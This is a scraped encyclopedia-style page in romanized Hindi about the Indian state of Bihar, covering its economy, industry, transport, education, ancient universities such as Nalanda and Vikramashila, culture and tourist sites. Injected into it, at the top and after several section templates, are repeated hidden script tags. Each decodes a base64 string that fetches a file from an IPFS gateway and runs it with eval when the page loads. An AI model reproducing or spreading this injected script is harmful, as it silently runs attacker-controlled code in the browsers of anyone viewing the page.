<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bihar ki lagabhag 75 pratishat janasankhya krishi kary mean sanlagn hai. 20vian shatabdi ke uttarardh mean khanan v vinirman mean mean ullekhaniy upalabdhi ke babajood bihar prati vyakti ay ke mamale mean desh mean sabase akhir mean hai aur rajy ki lagabhag adhi abadi prashasanik taur par garibi rekha ke niche hai. jharakhand ke gathan ke sath hi isaki musibatean badhian haian aur bihar ko khanij sanpada ke vishal bhandar se vanchit hona p da. nimnatam prati vyakti ay v atyadhik saghan janasankhya vale bihar ki arthavyavastha pichh dati ja rahi hai.

krishi

bihar ki arthavyavastha krishi par adharit hai. bihar ka kul bhaugolik kshetr lagabhag 93.60 lakh hekh‍teyar hai jisamean se keval 56.03 lakh hekh‍teyar par hi kheti hoti hai. rajh‍y mean lagabhag 79.46 lakh hekh‍teyar bhoomi krishi yogh‍y hai. vibhinh‍n sadhanoan dvara kul 43.86 lakh hekh‍teyar bhoomi par hi sianchaee suvidhaean upalabh‍dh haian jabaki lagabhag 33.51 lakh hekh‍teyar bhoomi ki sianchaee hoti hai. bihar ki pramukh khady fasalean haian- dhan, gehooan, makh‍ka aur dalean. mukhh‍y nakadi fasalean haian- ganna, aloo, tanbakoo, tilahan, ph‍yaj, mirch, patasan. lagabhag 6,764.14 varg ki. mi. kshetr mean van phaile haian jo rajh‍y ke kul bhaugolik kshetr ka lagabhag 7.1 pratishat haian.

udyog

rajh‍y ke mukhh‍y udyog haian -

1. mujaphpharapur aur mokama mean 'bharat vaigan limited' ka relave vaigan sanyantr.
2. barauni mean bharatiy tel nigam ka telashodhak karakhana hai.
3. barauni ka ech.pi.si.el. aur amajhor ka pairaits ph aaush‍phet eand kaimikalh‍s limited (pi.pi.si.el.) rajh‍y ke urvarak sanyantr haian.
4. sivan, bhagalapur, pandaul, mokama aur gaya mean paanch b di soot kataee milean haian.
5. uttar v dakshin bihar mean 13 chini milean haian, jo niji kshetr ki haian tatha 15 chini milean sarvajanik kshetr ki haian jinaki kul peraee kshamata 45,00 ti.pi. di. hai.
6. isake alava gopalaganj, pashchimi chanparan, bhagalapur aur riga (sitamadhi zila) mean sharab banane ke karakhane haian.
7. pashchimi chanparan, mujaphpharapur aur barauni mean cham da prasansh‍karan ke udyog hai.
8. katihar aur samash‍tipur mean tin b de patasan ke karakhane haian.
9. hajipur mean davaean banane ka karakhana, aurangabad aur patana mean khady prasansh‍karan aur vanash‍pati banane ke karakhane haian.
10. isake alava banjari mean kalh‍yanapur simeant limited namak simeant karakhane ka bihar ke audyogik nakh‍she mean mahath‍vapoorn sh‍than hai.

[[chitr:View-of-Patna.jpg|thumb|250px|left|patana ka drishy]]

sianchaee

bihar mean kul sianchaee kshamata 28.63 lakh hekh‍teyar hai. yah kshamata b di tatha manjholi sianchaee pariyojanaoan se jutaee jati hai. yahaan b di aur madhh‍yam sianchaee pariyojanaoan ka srijan kiya gaya hai aur 48.97 lakh hekh‍teyar kshetraphal ki sianchaee pramukh sianchaee yojanaoan ke madhh‍yam se ki jati hai.

parivahan

bihar ki parivahan vyavastha shuroo se hi nadiyoan se prabhavit rahi hai. nauka dvara nadiyoan ke kinaroan par parivahan ki vyavastha rahati hai. rajy ki parivahan vyavastha ganga nadi par vishesh roop se nirbhar hai. ganga nadi ke uttar tatha dakshini maidani bhagoan mean rel tatha s dakoan dvara parivahan ki vyavastha badh adi se prabhavit hoti hai, isalie nadi ke kinaroan par sudridh tatabandhoan ka nirman karaya gaya hai. bihar se uttar bharat ke anek rajy s dak marg se ju de haian. sherashah ne peshavar tak s dak marg ka nirman karaya tha. yah marg us samay 's dak-e-azam' kahalata tha, ajakal is s dak ko 'The Grand Trunk Road / graiand trank rod / ji. ti. rod' ke nam se jana jata hai. sherashah ne 1542 ee. mean isaka nirman karaya tha. yah s dak peshavar se kolakata tak jati hai. bihar ki parivahan vyavastha mean s dak aur relamarg bahut mahattvapoorn hai kiantu jal parivahan ka vikas simit hi hua hai. bihar mean yatayat ke mukhyatah char sadhan haian-

s dak

purane samay se hi bihar uttar bharat ke any bhagoan se s dak marg se ju da hua hai. prachin shasakoan ki prashasanik aur arthik vyavastha sthal margoan par hi adharit thi. samrat ashok ne vaibhavashali magadh ko rajadhani banaya tha, aur rajagaur aur pataliputr ke bich rajy marg ka nirman karaya tha. madhyakal mean mugal shasakoan aur sherashah soori ne s dak ka nirman kiya tha. 1947 ee. mean bihar mean kul s dakoan ki lambaee 1315 kilomitar thi. ajakal s dakoan ki lambaee 67116 kilomitar hai. rashtriy marg rajy ki prathamik s dak vyavastha hai. isake rakharakhav ki vyavastha kendriy sarakar par hai. rajy mean 4717 kilomitar lambe s dak marg ka nirman kiya gaya hai. isake atirikt 26092 ki.mi. lambi s dakoan ko do len ka kiya ja raha hai.

nam	lamh‍baee (ki.mi)
rashtriy rajamarg sankhya-2	392 kilomitar
rashtriy rajamarg sankhya-6	bihar mean lambaee 22 kilomitar
rashtriy rajamarg sankhya- 23	250 kilomitar lambaee
rashtriy rajamarg sankhya-28	259 kilomitar lambaee
rashtriy rajamarg-30	230 kilomitar lambaee
rashtriy rajamarg-31	437 kilomitar lambaee

• prantiy rajamarg, jo zila mukhyalayoan aur pradesh ki rajadhani ko jo date haian. bihar ke maidani bhag mean s dakean barasat mean pani mean doob jati haian.
• sthaniy s dakean, jo zila mukhyalay ko kasboan aur gaanvoan ko apas mean jo dati haian. ye kachchi aur pakh‍ki donoan tarah ki hoti haian. yah eeantoan se banian haian aur varsha se inamean toot-phoot ho jati hai.
• march, 2008 tak bihar mean 45,721.059 kilomitar pakh‍ki s dakean thian. inamean 3,734.38 kilomitar rashh‍triy rajamarg, 3,766.029 kilomitar praantiy rajamarg, 7,992.65 pramukh zila s dakean, 2,828 kilomitar anh‍y zila s dakean tatha 27,400 kilomitar gramin s dakean shamil thian.

relave

bihar mean rel lainoan ka achh‍chha jal bichha hua hai. mokama mean ekamatr relave pul hone ke karan uttari bihar ke lie parivahan vh‍yavash‍tha mean tho di pareshani hai. kuchh mahath‍vapoorn sh‍thanoan ko jo dane vale relamargo, jaise- mujaphpharapur-samash‍tipur-barauni-katihar aur samash‍tipur rajh‍y ke mukhh‍y relave jankh‍shan haian.

uddayan

rajh‍y mean sabhi b de ziloan mean havaee pattiyoan ke alava patana mean aantararashh‍triy havaee adda hai. parivahan ke dvara rajy ki arthik pragati tatha vikas hota hai. parivahan ki samuchit vyavastha se audyogikaran, krishi aur samajik jivan ka vikas hota hai.

shiksha

[[chitr:Shershah Tomb2.jpg|thumb|250px|sherashah soori ka maqabara, sasaram]] yadyapi 20vian sadi ke uttarardh mean bihar ki shiksha dar lagabhag tiguni hokar rajy ki janasankhya ke qarib 48 pratishat tak pahuanch gee hai, phir bhi yah desh ke any rajyoan ki shiksha dar ki tulana mean kafi niche hai. mahila saksharata dar (33.57 pratishat) ki tulana mean purush saksharata dar (60.32 pratishat) lagabhag dugani hai. 14 varsh tak ke sabhi bachchoan ko shikshit karana rajy ka pradhan lakshy hai. inamean se lagabhag 90 pratishat bachche prathamik skooloan mean dakhila lene ke yogy haian, lekin inamean se bahut kam hi madhyamik star tak pahuanch pate haian, kyoanki inaki arthik avashyakataean inhean kam karane ke lie badhy karati haian. vyavasayik aur takaniki shikshan sansthaean sarakari vibhagoan dvara sahayata prapt haian. bihar ke uchch shikshan sansthanoan mean patana sthit prachin v mahattvapoorn patana vishvavidyalay; muzaffarapur mean bi. ar. e. bihar vishvavidyalay aur bhagalapur sthit 'tilaka maanjhi bhalapur vishvavidyalay' shamil haian. bad ke donoan shikshan sansthan vibhinn vishayoan mean snatak star ke pathyakram sanchalit karate haian aur inase anek mahavidyalay sanbaddh haian. d patana skool aauf arts aiand krafts mean vishisht vishayoan ke shiksha di jati hai.

• prachin kal mean bihar shiksha ka pramukh keandr tha. shiksha ka pramukh kendr nalanda vishh‍vavidyalay , vikramashila vishh‍vavidyalay, varjasan vishh‍vavidyalay evan odantapuri vishh‍vavidyalay the.
• bihar mean shiksha madhyakal se prarambh huee thi. is samay adhikaanshat: muslim hi uchch shiksha grahan karate the. shiksha ka madhyam pharasi tha kiantu kahian sanskrit ke bhi shikshan sansthan the.
• ajimabad (patana) bihar mean pharasi ka sabase b da kendr tha. bihar ke prasiddh vidvanoan mean qazi gulam muzaphphar the.
• adhunik shiksha ka prarambh 1835 ee. mean l aaurd viliyam baiantik dvara kiya gaya. shiksha ka madhyam sanskrit-pharasi ke sath aangrezi bhi tha lekin aangrezi bhasha ki sarv pramukhata thi.
• poorniya ke bihar sharif tatha chhapara mean ek aangrezi shiksha kendr ki sthapana ki gee.

prachin shiksha kendr

prachin kal se bihar shiksha ka pramukh kendr raha hai. jo nimn haian- [[chitr:Nalanda-University-Bihar.jpg|thumb|250px|left|nalanda vishh‍vavidyalay, nalanda]]

nalanda vishh‍vavidyalay

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• guptakalin samrat kumaragupt pratham ne 415-454 ee.poo. nalanda vishh‍vavidyalay ki sthapana ki thi.
• nalanda vishh‍vavidyalay mean adhyayan karane ke lie java, chin, tibbat, shrilanka v koriya adi ke chhatr ate the.
• jab hvenasaang bharat aya tha us samay nalanda vishh‍vavidyalay mean 8500 chhatr evan 1510 adhyapak the. isake prakhyat adhyapakoan shilabhadr, dharmapal, chandrapal, gunamati, sthiramati, prabhamitr, jinamitr, dikanag, jnanachandr, nagarjun, vasubandhu, asang, dharmakirti adi the.
• is vishh‍vavidyalay mean pali bhasha mean shikshan kary hota tha. 12vian shati mean bakhtiyar khilaji ke akraman se yah vishvavidyalay nasht ho gaya tha.

vikramashila vishh‍vavidyalay

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• palavanshiy shasak ne 770-810 ee. mean vikramashila vishh‍vavidyalay ki sthapana ki thi.
• vikramashila vishh‍vavidyalay bauddh dharm ki vajrayan shakha ka pramukh kendr tha. yahaan nyay, tatvajnan evan vyakaran ki shiksha di jati thi.
• vikramashila vishh‍vavidyalay ke vidvanoan mean rakshit virochan, jnanabhadr, buddh jetarit, rath‍nakar, shantijnan, shrimitr, abhayankar the.
• is vishvavidyalay mean tibbat ke chhatroan ki sankhya sarvadhik thi.

[[chitr:Mahabodhi-Temple-Bihar.jpg|thumb|220px|mahabodhi mandir, bodhagaya, bihar]]

odantapuri vishh‍vavidyalay

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pal vansh ke pratham shasak gopal ne odantapuri vishh‍vavidyalay ki sthapana ki thi. yah vishh‍vavidyalay bihar sharif nagar ke samip hai. yah vishh‍vavidyalay tantr vidya ka kendr tha. maharakshit aur shilarakshit namak prasiddh vidvanh the.

tilak mahavidyalay

• magadh mean shiksha ka kendr tilak mahavidyalay tha. isaka ullekh chini yatriyoan (hvenasaang evan itsiang) ne apane yatra sansmaranoan mean kiya hai.
• haryak vansh ke shasakoan ne is vidyalay ki sthapana ki thi. yah vidyalay mahayan sampraday ka kendr tha.is keandr mean prajnanabhadr nam ke vidvanh the.
• tilak mahavidyalay ki pachan nalanda ke pas ke tillas gaanv ke roop mean ki gayi hai.

phoolahari shikshan sansthan

• phoolahari shikshan sansthan nalanda ke pas tha.
• yahaan bauddh acharyoan aur tibbati vidvanoan ka nivas raha hai.

saanskritik jivan

bihar ka saanskritik kshetr bhashaee kshetr ke sath qaribi sambandh darshata hai. maithili prachin mithila (videh, vartaman tirahut) ki bhasha hai, jisamean brahmanavadi jivan vyavastha ki pradhanata hai. maithili bihar ki ekamatr boli hai, jisaki apani lipi (tirahut) aur samriddh sahityik itihas hai. maithili ke prachinatam aur sarvadhik prasiddh rachanakaroan mean vidyapati apane shrriangarik v bhakti gitoan ke lie vikhyat haian. [[chitr:Buddha-Statue-Bodhgaya-Bihar.jpg|thumb|250px|left|buddh pratima, bodhagaya]]

sahity

bhojapuri boli mean shayad hi koee likhit sahity hai, lekin isaka maukhik lok sahity prachur hai. magahi ka lok sahity bhi kafi samriddh hai. adhunik hindi v urdoo sahity mean bihar ke maidani kshetroan ke rachanakaroan ka bhi ullekhaniy yogadan hai.

adivasi sanskriti

adhikatar adivasi gaanvoan mean ek nrity manch, gram purohit dvara ishtadev ki pooja ke lie ek pavitr upavan (sarana) v avivahitoan ke lie ek shayanagar (dhumakuriya) hota hai. saptahik hat janajatiy arthavyavastha mean mahattvapoorn bhoomika nibhate haian. adivasi tyoharoan mean (jaise sarahul), vasantotsav (sohari) aur shitotsav (mage parv) umang v ullas ke parv hote haian. eesaeeyat, udyogikaran, ne sanchar samparkoan, adivasi kalyan karyakramoan v samudayik vikas yojanaoan ke karan mool adivasi sanskriti tezi se badal rahi hai.

prachinakalin vikhyat sthal

rajy ke maidan dharmik v saanskritik mahatv ke sthanoan se sambaddh haian. nalanda mean prachinakalin vikhyat nalanda bauddh vishvavidyalay tha. rajagir aur isake samip ke prachin v adhunik mandiroan v dharmasthaloan ki anek dharmoan ke shraddhaluoan dvara yatra ki jati hai. pavapuri mean hi jain dharm ke pravartak mahavir ko mahanirvan (jnanaprapti ya punarjanm ke aantahin chakr se mukti) ki prapti huee thi. gaya ek mahattvapoorn hindoo tirthasthal hai aur isake nikat bauddh dharm ka pavitr sthal bodhagaya sthit hai, jahaan buddh ko bodhitv ki prapti huee thi. patana ke uttar mean sonapur ke samip harihar kshetr mean pratyek navambar mean bharat ke prachinatam v vishal pashu meloan mean se ek ka ayojan hota hai. bihar ke anek hindoo tyoharoan mean holi aur chhath (mukhyataya striyoan dvara soory ki aradhana) ka sthan atyadhik mahattvapoorn hai.

bhasha

bihar ki adhikarik bhashaean hindi bhasha aur urdoo haian, parantu adhikaansh log bolachal mean bihari bhasha (magadhi, maithili, bhojapuri aur aangika) ka prayog karate haian.

paryatan sh‍thal

bihar paryatan sthaloan, aitihasik dharoharoan, dharm, adhyatm aur sanskriti ka kendr raha hai. yahaan ki paramparaean, sanskriti, riti-rivaj aur jivan-paddhatiyaan, mele, parv, tyohar hamesha se paryatakoan ko akarshit karate rahe haian.

• rajh‍y ke pramukh paryatan keandr haian- rajagir, nalanda, vaishali, pavapuri jahaan bhagavan mahavir ne aantim saans li aur nirvan ko praph‍t hue, bodhagaya, vikramashila uchh‍ch shiksha ke bauddh vishh‍vavidyalay ke avashesh, patana pataliputr ka prachin nagar aur sasaram sherashah soori ka maqabara aur madhubani.
• anh‍y mahath‍vapoorn paryatan sh‍thal haian : muandeshh‍vari mandir, kaimoor, rohatasagadh qila, rohatas, jain tirth sh‍thal, kuandalapur, nalanda, bihar yog keandr, muanger, maner shariph, patana, gramin

paryatan sh‍thal nepura, nalanda, kesariya, poorvi chanparan.

pramukh paryatan sh‍thal

nagar	vivaran
patana	yah bihar pradesh ki rajadhani hai. ajatashatru ke putr udayabhadr ne 444 - 460 ee. poo. mean pataliputr ki sthapana ki thi aur use apani rajadhani banaya tha. patana mean aitihasik sthal, sikhoan ke dasavean guru ka janm sthal pramukh darshaniy sthal haian.
rajagir	rajagir garm jharanoan ke lie jana jata hai. shitakal mean bhraman aur svasthy ke lie uttam hai. yahaan pratham vishh‍v bauddh sangiti ka ayojan hua tha. yahaan jain v hinduoan ke anek pavitr dharmik sthal haian.
nalanda	prachinakal mean nalanda vishh‍vavidyalay tha, jahaan desh-videsh ke chhatr shiksha ke lie ate the. ajakal isake avashesh dikhalaee dete haian.
gaya	gaya hinduoan ka mahattvapoorn tirth sthal hai. yahaan poorvajoan ki atma ki shanti ke lie pindadan kiya jata hai. bhagavan shri ramachandr ne apane pita dasharath ka pindadan yahaan kiya tha.
baksar	baksar mean vishvamitr ka ashram tha. yahian par ram aur lakshman ka prarambhik shikshan-prashikshan hua. prasiddh ta daka rakshasi ka vadh ram dvara yahian pa kiya gaya tha. 1764 ee. ka 'baksar yuddh' bhi itihas prasiddh hai.
maner	maner bihar pradesh ki rajadhani patana se 29 kilomitar ki doori par hai. yahaan shahadaulat aur shekh yahiya maneri ke maqabare haian.
madhubani	madhubani nagar madhubani chitrakala ke lie prakhyat hai. 2003 ee. mean landan mean ayojit kala pradarshani mean madhubani peantiangs ko bahut prashansa mili thi.
muanger	muanger mean aitihasik qila hai. yahian par prasiddh yog vishh‍vavidyalay bhi hai. prachin aang samrajy ka muanger pramukh kendr tha.
sonapur	sonapur mean kartik mah mean eshiya ka sabase b da pashu mela lagata hai. sonapur mean prasiddh aitihasik hariharanath ji ka mandir hai.
vaishali	chhathi sadi ee. poo. mean vaishali nagar ganatantr tha. vaishali vishh‍v ke prachinatam ganatantr ke lie prasiddh hai. prasiddh jain tirthankar mahavir ka janm sthal hai.
valmiki nagar	yah sthan valmiki rrishi ke janm sthal ke lie prasiddh hai. prachin kal mean valmiki rrishi ka ashram yahaan tha. valmiki nagar mean ek prasiddh abhayarany bhi hai.
vikramashila	vikramashila bhagalapur zile mean ganga ke tat par sthit hai. prachin samay mean vikhyat vikramashila vishh‍vavidyalay tha. usake aitihasik avashesh ab bhi yahaan haian.
jiradeyoo	jiradehyoo bharat ke pratham rashtrapati d aau. rajendr prasad ka janm sthal hai.
sasaram	soor vansh ke sansthapak aphagan shasak sherashah soori ka maqabara sasaram mean hai aur desh ka prasiddh 'graand trank rod' bhi isi shahar se hokar gujarata hai.
sitamadhi	sitamadhi hinduoan ka pramukh tirth sthal hai. sitamadhi ke poonaura namak sthan par jab raja janak ne khet mean hal jota tha, us samay dharati se sita ka janm hua tha. sita ji ke janm ke karan is nagar ka nam sitamadhi p da.
visapi	yah sthan madhubani / darabhanga zile mean hai. visapi mean maithili kavi vidyapati ka janm hua tha.
pavapuri	pavapuri patana se 104 kilomitar aur nalanda se 25 kimi doori par sthit hai. yahian jain dharm ke pravartak mahavir ji ne nirvan prapt kiya tha. yahaan ka jal mandir, maniyar math tatha venuvan darshaniy sthal haian.
barauni	barauni uttari bihar ka pramukh audyogik nagar hai. yahaan tel shodhan karakhana, ganga par s dak aur rel pul hai.
bhagalapur	bhagalapur bihar ke aitihasik nagaroan mean se ek hai. bhagalapur vishh‍vavidyalay yahaan ka pramukh shiksha kendr haian. barari ki guphaean darshaniy haian. vishnu mandir, shiv mandir prasiddh hai . yahaan 'tasar resham' ka utpadan hota hai.
ara	ara patana se 32 mil ki doori par hai. ara ke darshaniy sthaloan mean arany devi, madhiya ka ram mandir prasiddh hai.
katihar	katihar zile mean barari guru bazar ka gurudvara prasiddh hai. sikhoan ke navean guru tegabahadur dvara langar ka ayojan kiya gaya tha. salamari steshan ke pas shiv ji ka gorakhanath mandir, rani indravati ki rajadhani sauriya prasiddh haian.
bihar sharif	bihar sharif patana se 85 kilomitar ki door dakshin-poorv mean hai. yah muslim sanskriti ka pramukh kendr hai . yahaan makhadoom sahab ki daragah tatha malik ibrahim vayaan ka maqabara hai.
poorniya	poorniya mahabharat kalin dharm-sthal tha. yah uttar-poorvi bihar mean hai. yahaan se nepal jane ka rasta hai. banabhakhi ke sikaligadh prachin garimapoorn sthal hai.
barabar paha di	barabar paha di mean sat prachin guphaean vistrit prakoshthoan ke roop mean nirmit haian. in sat guphaoan mean se tin mean ashok ke abhilekh aankit haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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vithika

• chitr:Mahabodhi-Temple-1.jpg

  mahabodhi mandir, bodhagaya, bihar

• chitr:Buddha's-Ashes-Stupa.jpg

  buddh ke parinirvan ke pashchath lichchhavi dvara vaishali mean banavaya gaya asthi stoop

• chitr:Asoka's-Pillar.jpg

  ashok ka stambh, vaishali

• chitr:Patna-Golghar.jpg

  golaghar, patana

• chitr:Buddha-Statue-Bodhgaya-Bihar-2.jpg

  buddh pratima, bodhagaya, bihar

• chitr:Patna-Museum.jpg

  patana sangrahalay, patana

• chitr:Mahabodhi-Temple-2.jpg

  mahabodhi mandir, bodhagaya, bihar

• chitr:Gandhi-Setu-Patna.jpg

  mahatma gaandhi setu, patana

• chitr:Sujata-Temple-Buddhagaya.jpg

  buddh aur sujata, sujata mandir, bodhagaya

sanbandhit lekh

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